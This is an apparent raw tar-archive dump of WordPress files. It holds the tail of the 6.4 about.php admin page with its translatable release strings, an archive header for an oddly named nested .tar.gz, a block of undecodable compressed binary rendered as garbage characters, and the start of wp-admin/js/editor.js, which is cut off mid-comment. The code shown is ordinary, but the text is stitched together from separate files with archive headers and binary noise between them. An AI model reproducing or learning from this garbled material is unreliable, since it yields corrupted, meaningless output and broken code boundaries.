				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Performance' ); ?></h3>
				<p><?php _e( 'WordPress 6.4 includes more than 100 performance updates for a faster and more efficient experience. Enhancements focus on template loading performance for Block Themes and Classic Themes, usage of the script loading strategies “defer” and “async” in core, blocks, and themes, and optimization of autoloaded options.' ); ?></p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#CFCABE"/>
						<path d="M24 18.285C23.55 18.285 23.1638 18.1237 22.8413 17.8012C22.5188 17.4788 22.3575 17.0925 22.3575 16.6425C22.3575 16.1925 22.5188 15.8062 22.8413 15.4837C23.1638 15.1612 23.55 15 24 15C24.45 15 24.8363 15.1612 25.1588 15.4837C25.4813 15.8062 25.6425 16.1925 25.6425 16.6425C25.6425 17.0925 25.4813 17.4788 25.1588 17.8012C24.8363 18.1237 24.45 18.285 24 18.285ZM21.5925 33V21.0075C20.5725 20.9325 19.5863 20.8275 18.6338 20.6925C17.6813 20.5575 16.77 20.385 15.9 20.175L16.2375 18.825C17.5125 19.125 18.78 19.3387 20.04 19.4662C21.3 19.5938 22.62 19.6575 24 19.6575C25.38 19.6575 26.7 19.5938 27.96 19.4662C29.22 19.3387 30.4875 19.125 31.7625 18.825L32.1 20.175C31.23 20.385 30.3187 20.5575 29.3663 20.6925C28.4137 20.8275 27.4275 20.9325 26.4075 21.0075V33H25.0575V27.15H22.9425V33H21.5925Z" fill="#151515"/>
					</svg>
				</div>
				<h3 style="margin-top:calc(var(--gap) * 0.75);margin-bottom:calc(var(--gap) * 0.5)"><?php _e( 'Accessibility' ); ?></h3>
				<p><?php _e( 'Every release is committed to making WordPress accessible to everyone. 6.4 brings List View improvements and aria-label support for the Navigation block, among other highlights. The admin user interface (UI) includes enhancements to button placements, "Add New" menu items context, and Site Health spoken messages.' ); ?></p>
			</div>
		</div>

		<div class="about__section has-3-columns">
			<div class="column about__image is-vertically-aligned-top">
				<img src="<?php echo esc_url( admin_url( 'images/about-release-badge.svg?ver=6.4' ) ); ?>" alt="" height="270" width="270" />
			</div>
			<div class="column is-vertically-aligned-center" style="grid-column-end:span 2">
				<h3>
					<?php
					printf(
						/* translators: %s: Version number. */
						__( 'Learn more about WordPress %s' ),
						$display_version
					);
					?>
				</h3>
				<p>
					<?php
					printf(
						/* translators: 1: Learn WordPress link, 2: Workshops link. */
						__( '<a href="%1$s">Learn WordPress</a> is a free resource for new and experienced WordPress users. Learn is stocked with how-to videos on using various features in WordPress, <a href="%2$s">interactive workshops</a> for exploring topics in-depth, and lesson plans for diving deep into specific areas of WordPress.' ),
						'https://learn.wordpress.org/',
						'https://learn.wordpress.org/online-workshops/'
					);
					?>
				</p>
			</div>
		</div>

		<div class="about__section has-2-columns">
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#CFCABE"/>
						<path d="M23 34v-4h-5l-2.293-2.293a1 1 0 0 1 0-1.414L18 24h5v-2h-7v-6h7v-2h2v2h5l2.293 2.293a1 1 0 0 1 0 1.414L30 22h-5v2h7v6h-7v4h-2Zm-5-14h11.175l.646-.646a.5.5 0 0 0 0-.708L29.175 18H18v2Zm.825 8H30v-2H18.825l-.646.646a.5.5 0 0 0 0 .708l.646.646Z" fill="#151515"/>
					</svg>
				</div>
				<p style="margin-top:calc(var(--gap) / 2);">
					<?php
					printf(
						/* translators: 1: WordPress Field Guide link, 2: WordPress version number. */
						__( 'Explore the <a href="%1$s">WordPress %2$s Field Guide</a>. Learn about the changes in this release with detailed developer notes to help you build with WordPress.' ),
						__( 'https://make.wordpress.org/core/2023/10/23/wordpress-6-4-field-guide/' ),
						'6.4'
					);
					?>
				</p>
			</div>
			<div class="column">
				<div class="about__image">
					<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false">
						<rect width="48" height="48" rx="4" fill="#CFCABE"/>
						<path d="M28 19.75h-8v1.5h8v-1.5ZM20 23h8v1.5h-8V23ZM26 26.25h-6v1.5h6v-1.5Z" fill="#151515"/>
						<path fill-rule="evenodd" clip-rule="evenodd" d="M29 16H19a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V18a2 2 0 0 0-2-2Zm-10 1.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H19a.5.5 0 0 1-.5-.5V18a.5.5 0 0 1 .5-.5Z" fill="#151515"/>
					</svg>
				</div>
				<p style="margin-top:calc(var(--gap) / 2);">
					<?php
					printf(
						/* translators: 1: WordPress Release Notes link, 2: WordPress version number. */
						__( '<a href="%1$s">Read the WordPress %2$s Release Notes</a> for information on installation, enhancements, fixed issues, release contributors, learning resources, and the list of file changes.' ),
						sprintf(
							/* translators: %s: WordPress version number. */
							esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ),
							'6-4'
						),
						'6.4'
					);
					?>
				</p>
			</div>
		</div>

		<hr class="is-large" />

		<div class="return-to-dashboard">
			<?php
			if ( isset( $_GET['updated'] ) && current_user_can( 'update_core' ) ) {
				printf(
					'<a href="%1$s">%2$s</a> | ',
					esc_url( self_admin_url( 'update-core.php' ) ),
					is_multisite() ? __( 'Go to Updates' ) : __( 'Go to Dashboard &rarr; Updates' )
				);
			}

			printf(
				'<a href="%1$s">%2$s</a>',
				esc_url( self_admin_url() ),
				is_blog_admin() ? __( 'Go to Dashboard &rarr; Home' ) : __( 'Go to Dashboard' )
			);
			?>
		</div>
	</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>

<?php

// These are strings we may use to describe maintenance/security releases, where we aim for no new strings.
return;

__( 'Maintenance Release' );
__( 'Maintenance Releases' );

__( 'Security Release' );
__( 'Security Releases' );

__( 'Maintenance and Security Release' );
__( 'Maintenance and Security Releases' );

/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed one security issue.' );
/* translators: %s: WordPress version number. */
__( '<strong>Version %s</strong> addressed some security issues.' );

/* translators: 1: WordPress version number, 2: Plural number of bugs. */
_n_noop(
	'<strong>Version %1$s</strong> addressed %2$s bug.',
	'<strong>Version %1$s</strong> addressed %2$s bugs.'
);

/* translators: 1: WordPress version number, 2: Plural number of bugs. Singular security issue. */
_n_noop(
	'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bug.',
	'<strong>Version %1$s</strong> addressed a security issue and fixed %2$s bugs.'
);

/* translators: 1: WordPress version number, 2: Plural number of bugs. More than one security issue. */
_n_noop(
	'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bug.',
	'<strong>Version %1$s</strong> addressed some security issues and fixed %2$s bugs.'
);

/* translators: %s: Documentation URL. */
__( 'For more information, see <a href="%s">the release notes</a>.' );

/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );

/* translators: 1: WordPress version number, 2: Link to update WordPress */
__( 'Important! Your version of WordPress (%1$s) will stop receiving security updates in the near future. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' );

/* translators: %s: The major version of WordPress for this branch. */
__( 'This is the final release of WordPress %s' );

/* translators: The localized WordPress download URL. */
__( 'https://wordpress.org/download/' );
media-video-widget.min.js.min.js.tar.gz000064400000002404150276633110013735 0ustar00��VQo7��~�#t�Ud;k��P4ن�݊&���PNt���t�xq2�}��vl��:`�,zH|"E�?����B�T�܁G�}�@�ܖ�q��ti������Q{�F��k�$i�+�h���z����}Z/��/�_�z��h���^���f��\
������>�霎��M���{�P�S���ΰ�r4�J�OX��љ��r��k)!�
�����;�J���*Sx	7�N&D12|��ǧ�|���q[*���;ӹ��٢�b5�DqǟS.����1N��d��5�,��	�SF��H�m�r`����t5��߫dT{��IT<
j�-.��dg�Gڨ�t��}E���Ut*��>��
.��o���eO�(�)?�S�2l=�-��[��X$��zU���g��Gv|d|]��@4ե'����{�<�b2����S{O�w��K�>����΢
�ɭfd��"	Q��qUda����0S1�G��s�������!�2�@�'�q�(�"�������掆zw�Մ
���,[������u���.�C�ڼ�O
u�dB������6�!nnq��
U�?��pCG����JG`.G�*n�H����5�@u�r���S�<��W�VL�GR�~�Զ�d9��͈�����9�&|��!�9Yn9�LUMQL9�
���Z`�7�o�ӛ��+�)B>~���1a3���2T
Q�#*9M��U�,	���uD�D��ybH� )x( 'o_-,�ڥ)�qRS�b�Q���@^����l�H��-��"'�k*��5�� �A�(�)�]�y�m�q�B����0��P�
GUh��1���өV)UI�L&g�g�q��U�?�헹���'S&z\X�N/1��JF�l�D�)/*"ՀEIި4² nR�ˁ��x2v����xҙ}�{�����ؖ�\��"$�1�`h�����l�nY�.4��,Qa�[Ql[��:F�ϑd�d���A��]�zQ��p)����VDN�%Ս��ZHS4�0�S���H��o騡�om�ɼϠ����� F�I&à����1�m�b��)�ςL�h�yĖf�낞�T:K��0�V�І�#B�L̽����H[\D�a��=���3"�R�A�
�,NZ�Ó�0�����$�XSS���~�7cU����lo�v��z�^��_��nJJ4����7{��̥�`��u�� ^��9
[5`��@;�=?��_��a=����Y6���editor.js000064400000130404150276633110006376 0ustar00/**
 * @output wp-admin/js/editor.js
 */

window.wp = window.wp || {};

( function( $, wp ) {
	wp.editor = wp.editor || {};

	/**
	 * Utility functions for the editor.
	 *
	 * @since 2.5.0
	 */
	function SwitchEditors() {
		var tinymce, $$,
			exports = {};

		function init() {
			if ( ! tinymce && window.tinymce ) {
				tinymce = window.tinymce;
				$$ = tinymce.$;

				/**
				 * Handles onclick events for the Visual/Text tabs.
				 *
				 * @since 4.3.0
				 *
				 * @return {void}
				 */
				$$( document ).on( 'click', function( event ) {
					var id, mode,
						target = $$( event.target );

					if ( target.hasClass( 'wp-switch-editor' ) ) {
						id = target.attr( 'data-wp-editor-id' );
						mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html';
						switchEditor( id, mode );
					}
				});
			}
		}

		/**
		 * Returns the height of the editor toolbar(s) in px.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} editor The TinyMCE editor.
		 * @return {number} If the height is between 10 and 200 return the height,
		 * else return 30.
		 */
		function getToolbarHeight( editor ) {
			var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
				height = node && node.clientHeight;

			if ( height && height > 10 && height < 200 ) {
				return parseInt( height, 10 );
			}

			return 30;
		}

		/**
		 * Switches the editor between Visual and Text mode.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`.
		 * @param {string} mode The mode you want to switch to. Default: `toggle`.
		 * @return {void}
		 */
		function switchEditor( id, mode ) {
			id = id || 'content';
			mode = mode || 'toggle';

			var editorHeight, toolbarHeight, iframe,
				editor = tinymce.get( id ),
				wrap = $$( '#wp-' + id + '-wrap' ),
				$textarea = $$( '#' + id ),
				textarea = $textarea[0];

			if ( 'toggle' === mode ) {
				if ( editor && ! editor.isHidden() ) {
					mode = 'html';
				} else {
					mode = 'tmce';
				}
			}

			if ( 'tmce' === mode || 'tinymce' === mode ) {
				// If the editor is visible we are already in `tinymce` mode.
				if ( editor && ! editor.isHidden() ) {
					return false;
				}

				// Insert closing tags for any open tags in QuickTags.
				if ( typeof( window.QTags ) !== 'undefined' ) {
					window.QTags.closeAllTags( id );
				}

				editorHeight = parseInt( textarea.style.height, 10 ) || 0;

				var keepSelection = false;
				if ( editor ) {
					keepSelection = editor.getParam( 'wp_keep_scroll_position' );
				} else {
					keepSelection = window.tinyMCEPreInit.mceInit[ id ] &&
									window.tinyMCEPreInit.mceInit[ id ].wp_keep_scroll_position;
				}

				if ( keepSelection ) {
					// Save the selection.
					addHTMLBookmarkInTextAreaContent( $textarea );
				}

				if ( editor ) {
					editor.show();

					// No point to resize the iframe in iOS.
					if ( ! tinymce.Env.iOS && editorHeight ) {
						toolbarHeight = getToolbarHeight( editor );
						editorHeight = editorHeight - toolbarHeight + 14;

						// Sane limit for the editor height.
						if ( editorHeight > 50 && editorHeight < 5000 ) {
							editor.theme.resizeTo( null, editorHeight );
						}
					}

					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
						// Restore the selection.
						focusHTMLBookmarkInVisualEditor( editor );
					}
				} else {
					tinymce.init( window.tinyMCEPreInit.mceInit[ id ] );
				}

				wrap.removeClass( 'html-active' ).addClass( 'tmce-active' );
				$textarea.attr( 'aria-hidden', true );
				window.setUserSetting( 'editor', 'tinymce' );

			} else if ( 'html' === mode ) {
				// If the editor is hidden (Quicktags is shown) we don't need to switch.
				if ( editor && editor.isHidden() ) {
					return false;
				}

				if ( editor ) {
					// Don't resize the textarea in iOS.
					// The iframe is forced to 100% height there, we shouldn't match it.
					if ( ! tinymce.Env.iOS ) {
						iframe = editor.iframeElement;
						editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;

						if ( editorHeight ) {
							toolbarHeight = getToolbarHeight( editor );
							editorHeight = editorHeight + toolbarHeight - 14;

							// Sane limit for the textarea height.
							if ( editorHeight > 50 && editorHeight < 5000 ) {
								textarea.style.height = editorHeight + 'px';
							}
						}
					}

					var selectionRange = null;

					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
						selectionRange = findBookmarkedPosition( editor );
					}

					editor.hide();

					if ( selectionRange ) {
						selectTextInTextArea( editor, selectionRange );
					}
				} else {
					// There is probably a JS error on the page.
					// The TinyMCE editor instance doesn't exist. Show the textarea.
					$textarea.css({ 'display': '', 'visibility': '' });
				}

				wrap.removeClass( 'tmce-active' ).addClass( 'html-active' );
				$textarea.attr( 'aria-hidden', false );
				window.setUserSetting( 'editor', 'html' );
			}
		}

		/**
		 * Checks if a cursor is inside an HTML tag or comment.
		 *
		 * In order to prevent breaking HTML tags when selecting text, the cursor
		 * must be moved to either the start or end of the tag.
		 *
		 * This will prevent the selection marker to be inserted in the middle of an HTML tag.
		 *
		 * This function gives information whether the cursor is inside a tag or not, as well as
		 * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag,
		 * e.g. `[caption]<img.../>..`.
		 *
		 * @param {string} content The test content where the cursor is.
		 * @param {number} cursorPosition The cursor position inside the content.
		 *
		 * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag.
		 */
		function getContainingTagInfo( content, cursorPosition ) {
			var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ),
				lastGtPos = content.lastIndexOf( '>', cursorPosition );

			if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) {
				// Find what the tag is.
				var tagContent = content.substr( lastLtPos ),
					tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ );

				if ( ! tagMatch ) {
					return null;
				}

				var tagType = tagMatch[2],
					closingGt = tagContent.indexOf( '>' );

				return {
					ltPos: lastLtPos,
					gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character.
					tagType: tagType,
					isClosingTag: !! tagMatch[1]
				};
			}
			return null;
		}

		/**
		 * Checks if the cursor is inside a shortcode
		 *
		 * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to
		 * move the selection marker to before or after the shortcode.
		 *
		 * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the
		 * `<img/>` tag inside.
		 *
		 * `[caption]<span>ThisIsGone</span><img .../>[caption]`
		 *
		 * Moving the selection to before or after the short code is better, since it allows to select
		 * something, instead of just losing focus and going to the start of the content.
		 *
		 * @param {string} content The text content to check against.
		 * @param {number} cursorPosition    The cursor position to check.
		 *
		 * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag.
		 *                              Information about the wrapping shortcode tag if it's wrapped in one.
		 */
		function getShortcodeWrapperInfo( content, cursorPosition ) {
			var contentShortcodes = getShortCodePositionsInText( content );

			for ( var i = 0; i < contentShortcodes.length; i++ ) {
				var element = contentShortcodes[ i ];

				if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) {
					return element;
				}
			}
		}

		/**
		 * Gets a list of unique shortcodes or shortcode-look-alikes in the content.
		 *
		 * @param {string} content The content we want to scan for shortcodes.
		 */
		function getShortcodesInText( content ) {
			var shortcodes = content.match( /\[+([\w_-])+/g ),
				result = [];

			if ( shortcodes ) {
				for ( var i = 0; i < shortcodes.length; i++ ) {
					var shortcode = shortcodes[ i ].replace( /^\[+/g, '' );

					if ( result.indexOf( shortcode ) === -1 ) {
						result.push( shortcode );
					}
				}
			}

			return result;
		}

		/**
		 * Gets all shortcodes and their positions in the content
		 *
		 * This function returns all the shortcodes that could be found in the textarea content
		 * along with their character positions and boundaries.
		 *
		 * This is used to check if the selection cursor is inside the boundaries of a shortcode
		 * and move it accordingly, to avoid breakage.
		 *
		 * @link adjustTextAreaSelectionCursors
		 *
		 * The information can also be used in other cases when we need to lookup shortcode data,
		 * as it's already structured!
		 *
		 * @param {string} content The content we want to scan for shortcodes
		 */
		function getShortCodePositionsInText( content ) {
			var allShortcodes = getShortcodesInText( content ), shortcodeInfo;

			if ( allShortcodes.length === 0 ) {
				return [];
			}

			var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ),
				shortcodeMatch, // Define local scope for the variable to be used in the loop below.
				shortcodesDetails = [];

			while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) {
				/**
				 * Check if the shortcode should be shown as plain text.
				 *
				 * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode
				 * and just shows it as text.
				 */
				var showAsPlainText = shortcodeMatch[1] === '[';

				shortcodeInfo = {
					shortcodeName: shortcodeMatch[2],
					showAsPlainText: showAsPlainText,
					startIndex: shortcodeMatch.index,
					endIndex: shortcodeMatch.index + shortcodeMatch[0].length,
					length: shortcodeMatch[0].length
				};

				shortcodesDetails.push( shortcodeInfo );
			}

			/**
			 * Get all URL matches, and treat them as embeds.
			 *
			 * Since there isn't a good way to detect if a URL by itself on a line is a previewable
			 * object, it's best to treat all of them as such.
			 *
			 * This means that the selection will capture the whole URL, in a similar way shrotcodes
			 * are treated.
			 */
			var urlRegexp = new RegExp(
				'(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi'
			);

			while ( shortcodeMatch = urlRegexp.exec( content ) ) {
				shortcodeInfo = {
					shortcodeName: 'url',
					showAsPlainText: false,
					startIndex: shortcodeMatch.index,
					endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length,
					length: shortcodeMatch[ 0 ].length,
					urlAtStartOfContent: shortcodeMatch[ 1 ] === '',
					urlAtEndOfContent: shortcodeMatch[ 3 ] === ''
				};

				shortcodesDetails.push( shortcodeInfo );
			}

			return shortcodesDetails;
		}

		/**
		 * Generate a cursor marker element to be inserted in the content.
		 *
		 * `span` seems to be the least destructive element that can be used.
		 *
		 * Using DomQuery syntax to create it, since it's used as both text and as a DOM element.
		 *
		 * @param {Object} domLib DOM library instance.
		 * @param {string} content The content to insert into the cursor marker element.
		 */
		function getCursorMarkerSpan( domLib, content ) {
			return domLib( '<span>' ).css( {
						display: 'inline-block',
						width: 0,
						overflow: 'hidden',
						'line-height': 0
					} )
					.html( content ? content : '' );
		}

		/**
		 * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes.
		 *
		 * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render
		 * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible
		 * to break the syntax and render the HTML tag or shortcode broken.
		 *
		 * @link getShortcodeWrapperInfo
		 *
		 * @param {string} content Textarea content that the cursors are in
		 * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions
		 *
		 * @return {{cursorStart: number, cursorEnd: number}}
		 */
		function adjustTextAreaSelectionCursors( content, cursorPositions ) {
			var voidElements = [
				'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
				'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr'
			];

			var cursorStart = cursorPositions.cursorStart,
				cursorEnd = cursorPositions.cursorEnd,
				// Check if the cursor is in a tag and if so, adjust it.
				isCursorStartInTag = getContainingTagInfo( content, cursorStart );

			if ( isCursorStartInTag ) {
				/**
				 * Only move to the start of the HTML tag (to select the whole element) if the tag
				 * is part of the voidElements list above.
				 *
				 * This list includes tags that are self-contained and don't need a closing tag, according to the
				 * HTML5 specification.
				 *
				 * This is done in order to make selection of text a bit more consistent when selecting text in
				 * `<p>` tags or such.
				 *
				 * In cases where the tag is not a void element, the cursor is put to the end of the tag,
				 * so it's either between the opening and closing tag elements or after the closing tag.
				 */
				if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) {
					cursorStart = isCursorStartInTag.ltPos;
				} else {
					cursorStart = isCursorStartInTag.gtPos;
				}
			}

			var isCursorEndInTag = getContainingTagInfo( content, cursorEnd );
			if ( isCursorEndInTag ) {
				cursorEnd = isCursorEndInTag.gtPos;
			}

			var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart );
			if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) {
				/**
				 * If a URL is at the start or the end of the content,
				 * the selection doesn't work, because it inserts a marker in the text,
				 * which breaks the embedURL detection.
				 *
				 * The best way to avoid that and not modify the user content is to
				 * adjust the cursor to either after or before URL.
				 */
				if ( isCursorStartInShortcode.urlAtStartOfContent ) {
					cursorStart = isCursorStartInShortcode.endIndex;
				} else {
					cursorStart = isCursorStartInShortcode.startIndex;
				}
			}

			var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd );
			if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) {
				if ( isCursorEndInShortcode.urlAtEndOfContent ) {
					cursorEnd = isCursorEndInShortcode.startIndex;
				} else {
					cursorEnd = isCursorEndInShortcode.endIndex;
				}
			}

			return {
				cursorStart: cursorStart,
				cursorEnd: cursorEnd
			};
		}

		/**
		 * Adds text selection markers in the editor textarea.
		 *
		 * Adds selection markers in the content of the editor `textarea`.
		 * The method directly manipulates the `textarea` content, to allow TinyMCE plugins
		 * to run after the markers are added.
		 *
		 * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object
		 */
		function addHTMLBookmarkInTextAreaContent( $textarea ) {
			if ( ! $textarea || ! $textarea.length ) {
				// If no valid $textarea object is provided, there's nothing we can do.
				return;
			}

			var textArea = $textarea[0],
				textAreaContent = textArea.value,

				adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, {
					cursorStart: textArea.selectionStart,
					cursorEnd: textArea.selectionEnd
				} ),

				htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart,
				htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd,

				mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single',

				selectedText = null,
				cursorMarkerSkeleton = getCursorMarkerSpan( $$, '&#65279;' ).attr( 'data-mce-type','bookmark' );

			if ( mode === 'range' ) {
				var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ),
					bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' );

				selectedText = [
					markedText,
					bookMarkEnd[0].outerHTML
				].join( '' );
			}

			textArea.value = [
				textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position.
				cursorMarkerSkeleton.clone()							// Cursor/selection start marker.
					.addClass( 'mce_SELRES_start' )[0].outerHTML,
				selectedText, 											// Selected text with end cursor/position marker.
				textArea.value.slice( htmlModeCursorEndPosition )		// Text from last cursor/selection position to end.
			].join( '' );
		}

		/**
		 * Focuses the selection markers in Visual mode.
		 *
		 * The method checks for existing selection markers inside the editor DOM (Visual mode)
		 * and create a selection between the two nodes using the DOM `createRange` selection API
		 *
		 * If there is only a single node, select only the single node through TinyMCE's selection API
		 *
		 * @param {Object} editor TinyMCE editor instance.
		 */
		function focusHTMLBookmarkInVisualEditor( editor ) {
			var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ),
				endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 );

			if ( startNode.length ) {
				editor.focus();

				if ( ! endNode.length ) {
					editor.selection.select( startNode[0] );
				} else {
					var selection = editor.getDoc().createRange();

					selection.setStartAfter( startNode[0] );
					selection.setEndBefore( endNode[0] );

					editor.selection.setRng( selection );
				}
			}

			if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
				scrollVisualModeToStartElement( editor, startNode );
			}

			removeSelectionMarker( startNode );
			removeSelectionMarker( endNode );

			editor.save();
		}

		/**
		 * Removes selection marker and the parent node if it is an empty paragraph.
		 *
		 * By default TinyMCE wraps loose inline tags in a `<p>`.
		 * When removing selection markers an empty `<p>` may be left behind, remove it.
		 *
		 * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instnce of `editor.$`
		 */
		function removeSelectionMarker( $marker ) {
			var $markerParent = $marker.parent();

			$marker.remove();

			//Remove empty paragraph left over after removing the marker.
			if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) {
				$markerParent.remove();
			}
		}

		/**
		 * Scrolls the content to place the selected element in the center of the screen.
		 *
		 * Takes an element, that is usually the selection start element, selected in
		 * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly
		 * in the middle of the screen.
		 *
		 * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted
		 * from the window height, to get the proper viewport window, that the user sees.
		 *
		 * @param {Object} editor TinyMCE editor instance.
		 * @param {Object} element HTMLElement that should be scrolled into view.
		 */
		function scrollVisualModeToStartElement( editor, element ) {
			var elementTop = editor.$( element ).offset().top,
				TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top,

				toolbarHeight = getToolbarHeight( editor ),

				edTools = $( '#wp-content-editor-tools' ),
				edToolsHeight = 0,
				edToolsOffsetTop = 0,

				$scrollArea;

			if ( edTools.length ) {
				edToolsHeight = edTools.height();
				edToolsOffsetTop = edTools.offset().top;
			}

			var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight,

				selectionPosition = TinyMCEContentAreaTop + elementTop,
				visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight );

			// There's no need to scroll if the selection is inside the visible area.
			if ( selectionPosition < visibleAreaHeight ) {
				return;
			}

			/**
			 * The minimum scroll height should be to the top of the editor, to offer a consistent
			 * experience.
			 *
			 * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and
			 * subtracting the height. This gives the scroll position where the top of the editor tools aligns with
			 * the top of the viewport (under the Master Bar)
			 */
			var adjustedScroll;
			if ( editor.settings.wp_autoresize_on ) {
				$scrollArea = $( 'html,body' );
				adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight );
			} else {
				$scrollArea = $( editor.contentDocument ).find( 'html,body' );
				adjustedScroll = elementTop;
			}

			$scrollArea.animate( {
				scrollTop: parseInt( adjustedScroll, 10 )
			}, 100 );
		}

		/**
		 * This method was extracted from the `SaveContent` hook in
		 * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`.
		 *
		 * It's needed here, since the method changes the content a bit, which confuses the cursor position.
		 *
		 * @param {Object} event TinyMCE event object.
		 */
		function fixTextAreaContent( event ) {
			// Keep empty paragraphs :(
			event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
		}

		/**
		 * Finds the current selection position in the Visual editor.
		 *
		 * Find the current selection in the Visual editor by inserting marker elements at the start
		 * and end of the selection.
		 *
		 * Uses the standard DOM selection API to achieve that goal.
		 *
		 * Check the notes in the comments in the code below for more information on some gotchas
		 * and why this solution was chosen.
		 *
		 * @param {Object} editor The editor where we must find the selection.
		 * @return {(null|Object)} The selection range position in the editor.
		 */
		function findBookmarkedPosition( editor ) {
			// Get the TinyMCE `window` reference, since we need to access the raw selection.
			var TinyMCEWindow = editor.getWin(),
				selection = TinyMCEWindow.getSelection();

			if ( ! selection || selection.rangeCount < 1 ) {
				// no selection, no need to continue.
				return;
			}

			/**
			 * The ID is used to avoid replacing user generated content, that may coincide with the
			 * format specified below.
			 * @type {string}
			 */
			var selectionID = 'SELRES_' + Math.random();

			/**
			 * Create two marker elements that will be used to mark the start and the end of the range.
			 *
			 * The elements have hardcoded style that makes them invisible. This is done to avoid seeing
			 * random content flickering in the editor when switching between modes.
			 */
			var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ),
				startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ),
				endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' );

			/**
			 * Inspired by:
			 * @link https://stackoverflow.com/a/17497803/153310
			 *
			 * Why do it this way and not with TinyMCE's bookmarks?
			 *
			 * TinyMCE's bookmarks are very nice when working with selections and positions, BUT
			 * there is no way to determine the precise position of the bookmark when switching modes, since
			 * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify
			 * HTML code and so on. In this process, the bookmark markup gets lost.
			 *
			 * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML
			 * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will
			 * throw off the positioning.
			 *
			 * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the
			 * selection.
			 *
			 * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates
